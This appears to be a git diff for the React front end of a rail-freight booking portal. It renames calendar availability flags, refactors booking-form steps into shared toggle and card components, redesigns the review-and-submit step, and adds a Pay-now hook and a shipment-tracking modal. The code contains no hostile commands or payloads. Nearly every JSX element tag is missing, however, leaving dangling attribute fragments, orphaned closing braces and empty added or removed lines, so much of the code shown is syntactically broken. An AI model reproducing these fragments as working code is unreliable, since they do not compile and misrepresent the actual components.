@@ -478,19 +356,19 @@ function DayCell({ day: d, onDayClick, }: DayCellProps) {
const cellBg = d.isSelectedDate
? theme.colors["edr-soft"][0]
- : d.hasSchedule
+ : d.hasDeparture
? "#FFFFFF"
: "transparent";
const cellBorder = d.isSelectedDate
? `2px solid ${theme.colors["edr-green"][5]}`
- : d.hasSchedule
+ : d.hasDeparture
? `1px solid ${theme.colors["edr-border"][0]}`
: "none";
return (
d.hasSchedule && onDayClick(d)}
+ onClick={() => d.hasDeparture && onDayClick(d)}
style={{
height: 92,
borderRadius: theme.radius.md,
@@ -501,18 +379,18 @@ function DayCell({ day: d, onDayClick, }: DayCellProps) {
display: "flex",
flexDirection: "column",
gap: 4,
- cursor: d.hasSchedule ? "pointer" : "default",
+ cursor: d.hasDeparture ? "pointer" : "default",
transition: "all 150ms ease",
- boxShadow: d.hasSchedule && !d.isSelectedDate ? "0 1px 3px rgba(0, 0, 0, 0.05)" : "none",
+ boxShadow: d.hasDeparture && !d.isSelectedDate ? "0 1px 3px rgba(0, 0, 0, 0.05)" : "none",
}}
onMouseEnter={(e) => {
- if (d.hasSchedule && !d.isSelectedDate) {
+ if (d.hasDeparture && !d.isSelectedDate) {
e.currentTarget.style.boxShadow = "0 4px 12px rgba(0, 0, 0, 0.1)";
e.currentTarget.style.borderColor = theme.colors["edr-border"][0];
}
}}
onMouseLeave={(e) => {
- if (d.hasSchedule && !d.isSelectedDate) {
+ if (d.hasDeparture && !d.isSelectedDate) {
e.currentTarget.style.boxShadow = "0 1px 3px rgba(0, 0, 0, 0.05)";
e.currentTarget.style.borderColor = theme.colors["edr-border"][0];
}
@@ -527,7 +405,7 @@ function DayCell({ day: d, onDayClick, }: DayCellProps) {
c={
d.isToday && !d.isSelectedDate
? "edr-green.6"
- : d.hasSchedule
+ : d.hasDeparture
? "edr-text.0"
: "edr-muted"
}
@@ -552,45 +430,25 @@ function DayCell({ day: d, onDayClick, }: DayCellProps) {
justifyContent: "center",
}}
>
-
+
)}
- {/* Schedule times */}
- {d.hasSchedule && (
-
- {d.schedules.slice(0, 2).map((s) => (
-
-
-
- {format(new Date(s.scheduleDate), "HH:mm")}
-
-
- ))}
- {d.schedules.length > 2 && (
-
- +{d.schedules.length - 2} more
-
- )}
-
+ {/* Availability marker — a single dot for days that have a departure.
+ No counts or capacity are shown: it's a day-level pool. */}
+ {d.hasDeparture && (
+
+
+
)}
);
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step1-contract-type.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step1-contract-type.tsx
index ae52a8645..d6fd968d5 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step1-contract-type.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step1-contract-type.tsx
@@ -10,8 +10,11 @@ import {
AsyncComboboxField,
OptionCard,
OptionFieldError,
+ StepCard,
StepHeader,
} from "./shared";
+import { FileSignature } from "lucide-react";
+import { Stack } from "@mantine/core";
type BookingForm = UseFormReturn<
BookingFormInputValues,
@@ -52,7 +55,6 @@ export function Step1ContractType({
);
const contractOptions = useMemo(() => {
- console.log("Bookings data:", bookings);
if (!bookings) return [];
return bookings?.items
@@ -172,8 +174,8 @@ export function Step1ContractType({
form.setValue("containers", mappedContainers);
}
- // ── Consolidation ───────────────────────────────────────────────────
- form.setValue("consolidationEnabled", booking.allowConsolidation);
+ // Consolidation is system-managed (always allowed) — not copied from the
+ // previous booking and not customer-controllable.
// ── Scheduled date ──────────────────────────────────────────────────
if (booking.scheduledDate) {
@@ -182,10 +184,11 @@ export function Step1ContractType({
};
return (
-
+
}
title="Contract Type"
- description="New contract or renewal of an existing one."
+ description="Start a new contract or renew an existing one to reuse its details."
/>
(
-
+
}
+ iconBg="#ECF6F1"
+ iconColor="#0A6F4D"
+ title="New Contract"
+ description="Create a fresh freight contract from scratch."
onClick={() => {
field.onChange("new");
form.clearErrors(["contractType", "previousContractRef"]);
form.setValue("previousContractRef", "");
}}
- >
-
-
-
-
New Contract
-
- Create a new contract.
-
-
+ />
}
+ iconBg="#EAF1FB"
+ iconColor="#2E5B96"
+ title="Contract Renewal"
+ description="Pick a previous reference to auto-fill historical parameters."
onClick={() => {
field.onChange("renewal");
form.clearErrors("contractType");
}}
- >
-
-
-
-
Contract Renewal
-
- Select a previous reference to auto-populate historical
- parameters.
-
-
+ />
@@ -234,7 +230,7 @@ export function Step1ContractType({
/>
{contractType === "renewal" && (
-
+
{error && (
Failed to load previous contracts. Please try again later.
@@ -263,8 +259,8 @@ export function Step1ContractType({
details will be pre-filled.
)}
-
+
)}
-
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step2-service-type.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step2-service-type.tsx
index e01e2f879..b53571c03 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step2-service-type.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step2-service-type.tsx
@@ -1,9 +1,18 @@
-import { Switch, TextInput } from "@mantine/core";
-import { FileText, Train, Truck } from "lucide-react";
+import { Box, Group, Stack, Switch, Text, TextInput } from "@mantine/core";
+import type { ReactNode } from "react";
+import { FileText, Layers, Train, Truck } from "lucide-react";
import { useEffect, useRef } from "react";
import { Controller, type UseFormReturn } from "react-hook-form";
import { BookingFormInputValues, type BookingFormValues } from "./schema";
-import { OptionCard, OptionFieldError, StepHeader } from "./shared";
+import {
+ fieldStyles,
+ OptionCard,
+ OptionFieldError,
+ StepCard,
+ StepHeader,
+ StepLabel,
+} from "./shared";
+import { PaymentCurrencyField } from "./payment-currency-field";
import type { Freight } from "@edr/types";
@@ -61,10 +70,11 @@ export function Step2ServiceType({
const showServiceSections =
includesCustoms || includesFirstMile || includesLastMile;
return (
-
+
}
title="Service Type"
- description="Select the service combination and configure trucking options."
+ description="Choose the service combination, then configure your trucking options."
/>
(
-
+
{referenceData?.service
.filter((s) => s.canBeBookedAlone)
- .map((s) => {
- return (
-
field.onChange(s.id)}
- >
-
-
-
- {s.serviceName}
-
- {s.description}
-
-
- );
- })}
+ .map((s) => (
+
field.onChange(s.id)}
+ icon={ }
+ iconBg="#EEF0FB"
+ iconColor="#4F46E5"
+ title={s.serviceName}
+ description={s.description}
+ />
+ ))}
)}
/>
+
+
{showServiceSections && (
-
+
+ Trucking & customs options
{/* First Mile */}
{includesFirstMile && (
-
-
(
-
-
-
-
-
- First Mile — Pick-up
-
-
- Truck pick-up from your premises (Door to Port) to the
- origin rail yard.
-
-
-
-
{
- const value = e.currentTarget.checked;
- field.onChange(value);
- if (!value) {
- form.setValue("firstMile.pickUpAddress", "", {
- shouldDirty: true,
- shouldValidate: true,
- });
- }
- }}
- color="edr-green"
- />
-
- )}
- />
- {firstMileEnabled && (
- (
- (
+ }
+ title="First Mile — Pick-up"
+ description="Truck pick-up from your premises (Door to Port) to the origin rail yard."
+ checked={field.value ?? false}
+ onChange={(value) => {
+ field.onChange(value);
+ if (!value) {
+ form.setValue("firstMile.pickUpAddress", "", {
+ shouldDirty: true,
+ shouldValidate: true,
+ });
+ }
+ }}
+ >
+ {firstMileEnabled && (
+ (
+
+ )}
/>
)}
- />
+
)}
-
+ />
)}
{/* Last Mile */}
{includesLastMile && (
-
-
(
-
-
-
-
-
- Last Mile — Delivery
-
-
- Truck delivery from the destination rail yard to the
- final address (Port to Door).
-
-
-
-
{
- const value = e.currentTarget.checked;
- field.onChange(value);
- if (!value) {
- form.setValue("lastMile.deliveryAddress", "", {
- shouldDirty: true,
- shouldValidate: true,
- });
- form.setValue("equipmentReturn", "with_return", {
- shouldDirty: true,
- });
- }
- }}
- color="edr-green"
- />
-
- )}
- />
- {lastMileEnabled && (
- (
- (
+ }
+ title="Last Mile — Delivery"
+ description="Truck delivery from the destination rail yard to the final address (Port to Door)."
+ checked={field.value ?? false}
+ onChange={(value) => {
+ field.onChange(value);
+ if (!value) {
+ form.setValue("lastMile.deliveryAddress", "", {
+ shouldDirty: true,
+ shouldValidate: true,
+ });
+ form.setValue("equipmentReturn", "with_return", {
+ shouldDirty: true,
+ });
+ }
+ }}
+ >
+ {lastMileEnabled && (
+ (
+
+ )}
/>
)}
- />
+
)}
-
+ />
)}
{/* Equipment Return */}
{includesLastMile && lastMileEnabled && (
-
-
(
-
-
-
Equipment Return
-
- {field.value === "with_return"
- ? "Container returned to EDR after unloading."
- : "Container retained by the customer after delivery."}
-
-
-
{
- field.onChange(
- e.currentTarget.checked
- ? "with_return"
- : "without_return",
- );
- }}
- color="edr-green"
- />
-
- )}
- />
-
+ (
+ }
+ title="Equipment Return"
+ description={
+ field.value === "with_return"
+ ? "Container returned to EDR after unloading."
+ : "Container retained by the customer after delivery."
+ }
+ checked={field.value === "with_return"}
+ onChange={(v) =>
+ field.onChange(v ? "with_return" : "without_return")
+ }
+ />
+ )}
+ />
)}
{/* Customs Clearing */}
{includesCustoms && (
-
-
(
-
-
-
-
-
- Customs Clearing Service
-
-
- EDR handles customs documentation and clearance on
- your behalf.
-
-
-
-
field.onChange(e.currentTarget.checked)}
- color="edr-green"
- />
-
- )}
- />
-
+ (
+ }
+ title="Customs Clearing Service"
+ description="EDR handles customs documentation and clearance on your behalf."
+ checked={field.value ?? false}
+ onChange={(v) => field.onChange(v)}
+ />
+ )}
+ />
)}
-
+
)}
-
+
+ );
+}
+
+function ServiceToggle({
+ icon,
+ title,
+ description,
+ checked,
+ onChange,
+ children,
+}: {
+ icon: ReactNode;
+ title: string;
+ description: string;
+ checked: boolean;
+ onChange: (v: boolean) => void;
+ children?: ReactNode;
+}) {
+ return (
+
+
+
+
+ {icon}
+
+
+
+ {title}
+
+
+ {description}
+
+
+
+ onChange(e.currentTarget.checked)}
+ color="edr-green"
+ size="md"
+ style={{ flexShrink: 0 }}
+ />
+
+ {children}
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step4-route.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step4-route.tsx
index e9d4a387e..cd05f4e9a 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step4-route.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step4-route.tsx
@@ -1,6 +1,6 @@
import type { Freight } from "@edr/types";
-import { Divider, Skeleton, Stack, Switch } from "@mantine/core";
-import { Flame, MapPin, Snowflake } from "lucide-react";
+import { Box, Divider, Group, Skeleton, Stack, Switch, Text } from "@mantine/core";
+import { Flame, MapPin, Route as RouteIcon, Snowflake } from "lucide-react";
import { useEffect, useMemo } from "react";
import { Controller, type UseFormReturn } from "react-hook-form";
import {
@@ -8,7 +8,7 @@ import {
type BookingFormValues,
getRouteDirection,
} from "./schema";
-import { SelectField, StepHeader, StepLabel } from "./shared";
+import { SelectField, StepCard, StepHeader, StepLabel } from "./shared";
type BookingForm = UseFormReturn<
BookingFormInputValues,
@@ -35,10 +35,17 @@ export function Step4Route({
const shippingLineOptions = useMemo(() => {
if (!referenceData?.shipping_line) return [];
- return referenceData.shipping_line.map((sl) => ({
- value: sl.name,
- label: sl.name,
- }));
+ // The form keys shipping line by name, so options are keyed by name too.
+ // Dedupe by name: if the reference data has two lines sharing a name, a
+ // duplicate option would crash Mantine's Select ("Duplicate options...").
+ const seen = new Set
();
+ const options: { value: string; label: string }[] = [];
+ for (const sl of referenceData.shipping_line) {
+ if (!sl.name || seen.has(sl.name)) continue;
+ seen.add(sl.name);
+ options.push({ value: sl.name, label: sl.name });
+ }
+ return options;
}, [referenceData]);
const originData = useMemo(() => {
@@ -63,7 +70,6 @@ export function Step4Route({
const origin = referenceData?.yard.find((y) => y.id === originYard);
const dest = referenceData?.yard.find((y) => y.id === destinationYard);
const direction = getRouteDirection(origin, dest);
- console.log({ yardOptions, originYard, destinationYard, direction, origin, dest });
const directionStyle: Record = {
EXPORT: "bg-sky-50 text-sky-800 border-sky-200",
@@ -85,10 +91,11 @@ export function Step4Route({
const stationSelectDisabled = yardOptions.length === 0;
return (
-
+
}
title="Route"
- description="Select the origin and destination yards."
+ description="Choose the origin and destination yards for your shipment."
/>
{isLoading ? (
@@ -96,7 +103,7 @@ export function Step4Route({
) : (
Route
-
+
)}
-
+
-
+
Cargo handling
+
(
-
-
-
-
-
Hazardous Material
-
- Applies a Hazard Surcharge to the final bill.
-
-
-
-
field.onChange(e.currentTarget.checked)}
- color="edr-green"
- />
-
+ }
+ iconBg="#FBEAE7"
+ iconColor="#C0392B"
+ title="Hazardous Material"
+ description="Applies a hazard surcharge to the final bill."
+ checked={field.value}
+ onChange={(v) => field.onChange(v)}
+ />
)}
/>
(
-
-
-
-
-
Refrigerated Cargo
-
- Temperature-controlled transport applies a Refrigerator
- Surcharge.
-
-
-
-
field.onChange(e.currentTarget.checked)}
- color="edr-green"
- />
-
+ }
+ iconBg="#E9F0F8"
+ iconColor="#2E5B96"
+ title="Refrigerated Cargo"
+ description="Temperature-controlled transport applies a refrigeration surcharge."
+ checked={field.value}
+ onChange={(v) => field.onChange(v)}
+ />
)}
/>
-
-
+
+
+ );
+}
+
+function ToggleRow({
+ icon,
+ iconBg,
+ iconColor,
+ title,
+ description,
+ checked,
+ onChange,
+}: {
+ icon: React.ReactNode;
+ iconBg: string;
+ iconColor: string;
+ title: string;
+ description: string;
+ checked: boolean;
+ onChange: (v: boolean) => void;
+}) {
+ return (
+
+
+
+ {icon}
+
+
+
+ {title}
+
+
+ {description}
+
+
+
+ onChange(e.currentTarget.checked)}
+ color="edr-green"
+ size="md"
+ />
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step5-cargo-details.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step5-cargo-details.tsx
index 47e2fa2ff..ce40c6082 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step5-cargo-details.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step5-cargo-details.tsx
@@ -5,7 +5,6 @@ import {
ActionIcon,
Button,
Skeleton,
- InputLabel,
Text,
TextInput,
} from "@mantine/core";
@@ -17,9 +16,11 @@ import {
} from "./schema";
import {
AlertBox,
+ fieldStyles,
OptionCard,
OptionFieldError,
SelectField,
+ StepCard,
StepHeader,
StepLabel,
} from "./shared";
@@ -116,70 +117,66 @@ export function Step5CargoDetails({
if (isLoading) {
return (
-
+
}
title="Cargo Details"
description="Define your cargo type, weight, and container configuration."
/>
-
+
+
);
}
return (
-
+
}
title="Cargo Details"
description="Define your cargo type, weight, and container configuration."
/>
{/* Cargo Type */}
-
Cargo Type *
+
Cargo Type *
(
-
+
}
+ iconBg="#ECF6F1"
+ iconColor="#0A6F4D"
+ title="Containerized"
+ description="Pre-packed containerized cargo (20ft / 40ft)."
onClick={() => {
field.onChange("container");
form.setValue("cargoTypePath", [], { shouldDirty: true });
}}
- >
-
-
Containerized
-
- Pre-packed containerized cargo (20ft / 40ft).
-
-
+ />
}
+ iconBg="#FDF3E0"
+ iconColor="#C77F09"
+ title="General Cargo"
+ description="Bulk commodities or break-bulk cargo."
onClick={() => {
field.onChange("bulk");
form.setValue("containers", [], { shouldDirty: true });
}}
- >
-
-
-
-
General Cargo
-
- Bulk commodities or break-bulk cargo.
-
-
+ />
@@ -201,7 +198,8 @@ export function Step5CargoDetails({
placeholder="0.00"
leftSection={
}
error={fieldState.error?.message}
- radius="md"
+ radius={10}
+ styles={fieldStyles}
min={0}
step={0.01}
/>
@@ -484,6 +482,6 @@ export function Step5CargoDetails({
})()}
>
)}
-
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step8-review.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step8-review.tsx
index 278698f83..c9c8265fe 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step8-review.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step8-review.tsx
@@ -1,26 +1,46 @@
import { Controller, type UseFormReturn } from "react-hook-form";
import {
+ Badge,
Box,
Button,
- Card,
- Divider,
Group,
- Loader,
- SimpleGrid,
+ Paper,
Stack,
+ Table,
Text,
Textarea,
} from "@mantine/core";
-import { Check, Send, XCircle, FileText, Route, Package, Truck } from "lucide-react";
+import { format } from "date-fns";
+import {
+ Calendar,
+ CheckCircle2,
+ Circle,
+ ClipboardCheck,
+ FileText,
+ Package,
+ Pencil,
+ Route,
+ Send,
+ Truck,
+} from "lucide-react";
+import type { Freight } from "@/types";
+import { hasAllRequiredDocuments } from "@/services/booking-form-data";
import {
- BookingFormInputValues,
BOOKING_DOCS_SETTING,
type BookingDocuments,
+ type BookingFormInputValues,
type BookingFormValues,
} from "./schema";
import { StepHeader } from "./shared";
-import type { Freight } from "@/types";
-import type { GeneratePriceResponse } from "@/services/bookings.service";
+
+export const REVIEW_STEP_TARGETS = {
+ contract: 1,
+ service: 2,
+ route: 3,
+ cargo: 4,
+ schedule: 5,
+ documents: 6,
+} as const;
type BookingForm = UseFormReturn<
BookingFormInputValues,
@@ -28,113 +48,135 @@ type BookingForm = UseFormReturn<
BookingFormValues
>;
+function OverviewSection({
+ icon,
+ title,
+ onEdit,
+ children,
+}: {
+ icon: React.ReactNode;
+ title: string;
+ onEdit: () => void;
+ children: React.ReactNode;
+}) {
+ return (
+
+
+
+
+ {icon}
+
+
+ {title}
+
+
+ }
+ onClick={onEdit}
+ >
+ Edit
+
+
+ {children}
+
+ );
+}
+
+function DetailRow({ label, value }: { label: string; value: string }) {
+ return (
+
+
+ {label}
+
+
+ {value || "—"}
+
+
+ );
+}
+
+function ReadinessItem({
+ done,
+ label,
+}: {
+ done: boolean;
+ label: string;
+}) {
+ return (
+
+ {done ? (
+
+ ) : (
+
+ )}
+
+ {label}
+
+
+ );
+}
+
export function Step8Review({
form,
setStep,
direction,
referenceData,
- pricingPhase = "idle",
- pricingData,
- onConfirm,
- onContinueLater,
- onAbort,
- confirmPending = false,
- abortPending = false,
+ onSaveDraft,
+ onSubmit,
+ saveDraftPending = false,
+ submitPending = false,
}: {
form: BookingForm;
setStep: (step: number) => void;
direction: Freight.ScheduleTradeDirection;
referenceData?: Freight.BookingReferenceData;
- pricingPhase?: "idle" | "generating" | "ready";
- pricingData?: GeneratePriceResponse | null;
- onConfirm?: () => void;
- onContinueLater?: () => void;
- onAbort?: () => void;
- confirmPending?: boolean;
- abortPending?: boolean;
+ onSaveDraft?: () => void;
+ onSubmit?: () => void;
+ saveDraftPending?: boolean;
+ submitPending?: boolean;
}) {
const values = form.watch();
const serviceType = referenceData?.service.find(
(s) => s.id === values.serviceTypeId,
);
- function CompactRow({
- label,
- value,
- target,
- }: {
- label: string;
- value: string;
- target: number;
- }) {
- return (
-
-
-
- {label}
-
-
- {value || "—"}
-
-
-
setStep(target)}
- className="shrink-0 text-10px font-medium text-emerald-600 hover:underline whitespace-nowrap ml-2 mt-2"
- >
- Edit
-
-
- );
- }
-
- function CompactCard({
- icon: Icon,
- title,
- children,
- }: {
- icon: React.ReactNode;
- title: string;
- children: React.ReactNode;
- }) {
- return (
-
-
- {Icon}
-
- {title}
-
-
- {children}
-
- );
- }
-
const containerSummary =
values.cargoType === "container" && values.containers.length > 0
? values.containers
- .filter((c) => +c.qty > 0)
- .map((c) => `${c.qty} × ${c.type}`)
- .join(", ")
+ .filter((c) => +c.qty > 0)
+ .map((c) => `${c.qty} × ${c.containerType || c.type}`)
+ .join(", ")
: "";
const totalVgm =
values.cargoType === "container"
? values.containers.reduce(
- (sum, c) => sum + (+c.qty || 0) * (+c.vgm || 0),
- 0,
- )
- : 0;
+ (sum, c) => sum + (+c.qty || 0) * (+c.vgm || 0),
+ 0,
+ )
+ : Number(values.cargoWeight || 0);
const documents = (values.documents ?? {}) as BookingDocuments;
const docsAttached = BOOKING_DOCS_SETTING.fields.filter((f) => {
const value = documents[f.fileKey];
return Array.isArray(value) ? value.length > 0 : Boolean(value);
}).length;
- const docsTotal = BOOKING_DOCS_SETTING.fields.length;
+ const allDocsReady = hasAllRequiredDocuments(documents);
const cargoValue = (() => {
- if (values.cargoType === "container") return containerSummary;
+ if (values.cargoType === "container") return "Container freight";
if (!referenceData) return "";
const path = values.cargoTypePath ?? [];
const group = referenceData.cargo_type.find((g) => g.id === path[0]);
@@ -143,226 +185,312 @@ export function Step8Review({
return child ? `${group.name} — ${child.name}` : group.name;
})();
- const originYardName = referenceData?.yard.find(
- (y) => y.id === values.originYard,
- )?.name ?? values.originYard;
+ const originYardName =
+ referenceData?.yard.find((y) => y.id === values.originYard)?.name ??
+ values.originYard;
- const destinationYardName = referenceData?.yard.find(
- (y) => y.id === values.destinationYard,
- )?.name ?? values.destinationYard;
+ const destinationYardName =
+ referenceData?.yard.find((y) => y.id === values.destinationYard)?.name ??
+ values.destinationYard;
+
+ const scheduleLabel = values.scheduledDate
+ ? format(new Date(values.scheduledDate), "EEEE, MMM d, yyyy")
+ : "—";
+
+ const directionLabel = direction
+ ? direction.charAt(0) + direction.slice(1).toLowerCase()
+ : "—";
return (
-
+
}
title="Review & Submit"
- description="Confirm your contract request before sending it for EDR staff review."
+ description="Review your booking overview before sending it for EDR staff review."
/>
- {/* Pricing Card - Prominent at top */}
- {pricingPhase === "generating" && (
-
-
-
-
- Generating price estimate…
-
-
-
- )}
-
- {pricingPhase === "ready" && pricingData && (
-
-
-
- 💳 Price Breakdown
-
-
- {pricingData.lineItems.map((item) => (
-
-
- {item.description}
-
-
- {item.amount.toLocaleString()} {item.currency}
-
-
- ))}
-
-
-
-
- Total
-
-
- {pricingData.totalAmount.toLocaleString()} {pricingData.currency}
-
+
+ {/* Left — booking summary */}
+
+
+
+
+
+ Booking overview
+
+
+ {values.contractType === "new" ? "New Contract" : "Contract Renewal"}
+
+
+ {serviceType?.name ?? "—"} · {originYardName} → {destinationYardName}
+
+
+
+ {directionLabel}
+
- {pricingData.warnings.length > 0 && (
-
- ⚠️ {pricingData.warnings.join(", ")}
-
+
+
+ }
+ title="Contract & Service"
+ onEdit={() => setStep(REVIEW_STEP_TARGETS.contract)}
+ >
+
+ {values.contractType === "renewal" && values.previousContractRef && (
+
)}
-
- }
- onClick={onConfirm}
- loading={confirmPending}
- className="flex-1"
- >
- {confirmPending ? "Confirming…" : "Confirm"}
-
- }
- onClick={onContinueLater}
- className="flex-1"
- >
- Continue later
-
- : undefined}
- onClick={onAbort}
- loading={abortPending}
- >
- Abort
-
-
-
-
- )}
-
- {/* Review Details - Compact Cards Grid */}
-
- } title="Contract & Service">
-
-
-
-
- } title="Route">
-
-
-
-
- } title="Logistics">
-
-
-
-
-
-
- } title="Cargo Details">
-
-
-
-
-
- } title="Containers">
-
- 0 ? `${totalVgm.toFixed(1)} tons` : "—"}
- target={4}
- />
-
-
- } title="Documents">
-
-
-
- Attached
-
-
- {docsAttached > 0
- ? `${docsAttached} of ${docsTotal}`
- : "None"}
-
-
-
+
+
setStep(5)}
- className="shrink-0 text-10px font-medium text-emerald-600 hover:underline whitespace-nowrap ml-2 mt-2"
+ variant="subtle"
+ size="compact-xs"
+ color="gray"
+ mt={4}
+ onClick={() => setStep(REVIEW_STEP_TARGETS.service)}
>
- Edit
-
-
-
-
+ Edit service options
+
+
- {/* Notes */}
-
(
- }
+ title="Route"
+ onEdit={() => setStep(REVIEW_STEP_TARGETS.route)}
+ >
+
+
+
+
+
+
+ }
+ title="Logistics"
+ onEdit={() => setStep(REVIEW_STEP_TARGETS.service)}
+ >
+
+
+
+
+
+
+ }
+ title="Schedule"
+ onEdit={() => setStep(REVIEW_STEP_TARGETS.schedule)}
+ >
+
+
+
+ }
+ title="Cargo"
+ onEdit={() => setStep(REVIEW_STEP_TARGETS.cargo)}
+ >
+
+ 0 ? `${totalVgm.toFixed(1)} tons` : "—"}
+ />
+ {values.cargoType === "container" && values.containers.length > 0 && (
+
+
+
+ Type
+ Qty
+ VGM (t)
+
+
+
+ {values.containers
+ .filter((c) => +c.qty > 0)
+ .map((c, i) => (
+
+ {c.containerType || c.type}
+ {c.qty}
+ {c.vgm}
+
+ ))}
+
+
+ )}
+ {containerSummary && (
+
+ )}
+
+
+ }
+ title="Documents"
+ onEdit={() => setStep(REVIEW_STEP_TARGETS.documents)}
+ >
+
+ {BOOKING_DOCS_SETTING.fields.map((field) => {
+ const file = documents[field.fileKey];
+ const attached = Array.isArray(file)
+ ? file.length > 0
+ : Boolean(file);
+ const fileName = attached
+ ? Array.isArray(file)
+ ? file[0]?.name
+ : (file as File)?.name
+ : null;
+ return (
+
+
+ {attached ? (
+
+ ) : (
+
+ )}
+ {field.fileLabel}
+
+
+ {fileName ?? "Missing"}
+
+
+ );
+ })}
+
+
+ {docsAttached} of {BOOKING_DOCS_SETTING.fields.length} attached
+
+
+
+ (
+
+ )}
/>
- )}
- />
+
+
+ {/* Right — sticky actions */}
+
+
+
+
+ Submission readiness
+
+
+
+
+
+
+ +c.qty > 0)
+ : Boolean(values.cargoWeight)
+ }
+ label="Cargo details complete"
+ />
+
+
+
+
+
+
+ {allDocsReady
+ ? "Ready to submit. You'll review the price estimate before final submission."
+ : "Upload all four documents to enable submission."}
+
+
+ }
+ onClick={onSubmit}
+ loading={submitPending}
+ disabled={!allDocsReady || submitPending}
+ >
+ Submit
+
+
+ Save as draft
+
+
+
+
+
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx b/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx
new file mode 100644
index 000000000..ae1615b94
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx
@@ -0,0 +1,61 @@
+import { Button, type ButtonProps } from "@mantine/core";
+import { CreditCard } from "lucide-react";
+
+import { Freight } from "@edr/types";
+
+import { PaymentMethodModal } from "../BookingDetailPage/components/PaymentMethodModal";
+import { priceTotal } from "../BookingDetailPage/utils";
+import { useBookingPayment } from "./useBookingPayment";
+
+interface PayNowButtonProps {
+ booking: Freight.IBooking;
+ label?: string;
+ size?: ButtonProps["size"];
+ fullWidth?: boolean;
+}
+
+/**
+ * Self-contained "Pay now" action: shows the payment-method modal in place
+ * instead of navigating to the booking detail page. Drop it into list rows,
+ * cards, or anywhere a payable booking surfaces.
+ */
+export function PayNowButton({
+ booking,
+ label = "Pay now",
+ size = "xs",
+ fullWidth,
+}: PayNowButtonProps) {
+ const pay = useBookingPayment(booking.id);
+ const pricing = booking.pricingBreakdown;
+
+ return (
+ <>
+ }
+ onClick={(e) => {
+ // Don't let a surrounding row-click handler fire.
+ e.stopPropagation();
+ pay.open();
+ }}
+ >
+ {label}
+
+
+
+ >
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/payments/useBookingPayment.ts b/apps/edr-freight-web/portal/src/pages/bookings/payments/useBookingPayment.ts
new file mode 100644
index 000000000..ddaa05906
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/bookings/payments/useBookingPayment.ts
@@ -0,0 +1,54 @@
+import { useMutation } from "@tanstack/react-query";
+import { useState } from "react";
+
+import { api } from "@/services/api";
+import {
+ paymentsService,
+ type PaymentMethod,
+} from "@/services/payments.service";
+
+/**
+ * Shared payment flow for a single booking: opens the method modal, fires
+ * POST /payments/initiate, and redirects the browser to the provider (or the
+ * fallback checkout page). Reused by the booking detail page, the booking list,
+ * and the home page so "Pay now" behaves identically everywhere.
+ */
+export function useBookingPayment(bookingId: string) {
+ const [modalOpen, setModalOpen] = useState(false);
+
+ const mutation = useMutation({
+ mutationFn: (method: PaymentMethod) =>
+ api.payments.initiate.call({ bookingId, method }),
+ onSuccess: (data, method) => {
+ const redirectUrl =
+ data?.clientAction?.type === "REDIRECT" && data.clientAction.url
+ ? data.clientAction.url
+ : paymentsService.checkoutUrl({ bookingId, method });
+ window.location.href = redirectUrl;
+ },
+ });
+
+ const open = () => setModalOpen(true);
+
+ const close = () => {
+ if (!mutation.isPending) {
+ setModalOpen(false);
+ mutation.reset();
+ }
+ };
+
+ const error = mutation.isError
+ ? mutation.error instanceof Error
+ ? mutation.error.message
+ : "Could not start payment. Please try again."
+ : null;
+
+ return {
+ modalOpen,
+ open,
+ close,
+ processing: mutation.isPending,
+ error,
+ confirm: (method: PaymentMethod) => mutation.mutate(method),
+ };
+}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/tracking/ShipmentTrackingModal.tsx b/apps/edr-freight-web/portal/src/pages/bookings/tracking/ShipmentTrackingModal.tsx
new file mode 100644
index 000000000..64ee63d5e
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/bookings/tracking/ShipmentTrackingModal.tsx
@@ -0,0 +1,752 @@
+import { Box, Center, Group, Loader, Modal, Stack, Text } from "@mantine/core";
+import { useQuery } from "@tanstack/react-query";
+import {
+ AlertTriangle,
+ CheckCircle2,
+ Clock,
+ Flag,
+ MapPin,
+ PackageX,
+ RefreshCw,
+ Train,
+} from "lucide-react";
+
+import { api } from "@/services/api";
+import { Freight } from "@edr/types";
+
+import {
+ checkpointKindLabel,
+ corridorProgress,
+ isArrived,
+ isDispatched,
+ shipmentStatusLabel,
+} from "./trackingStages";
+
+const GREEN = "#0EA371";
+const GREEN_DARK = "#0A6F4D";
+const ACCENT = "#F2A516";
+const INK = "#10202F";
+const MUTED = "#6B7C8E";
+
+interface ShipmentTrackingModalProps {
+ opened: boolean;
+ onClose: () => void;
+ bookingId: string;
+ bookingReference: string;
+ originLabel?: string;
+ destinationLabel?: string;
+}
+
+export function ShipmentTrackingModal({
+ opened,
+ onClose,
+ bookingId,
+ bookingReference,
+ originLabel,
+ destinationLabel,
+}: ShipmentTrackingModalProps) {
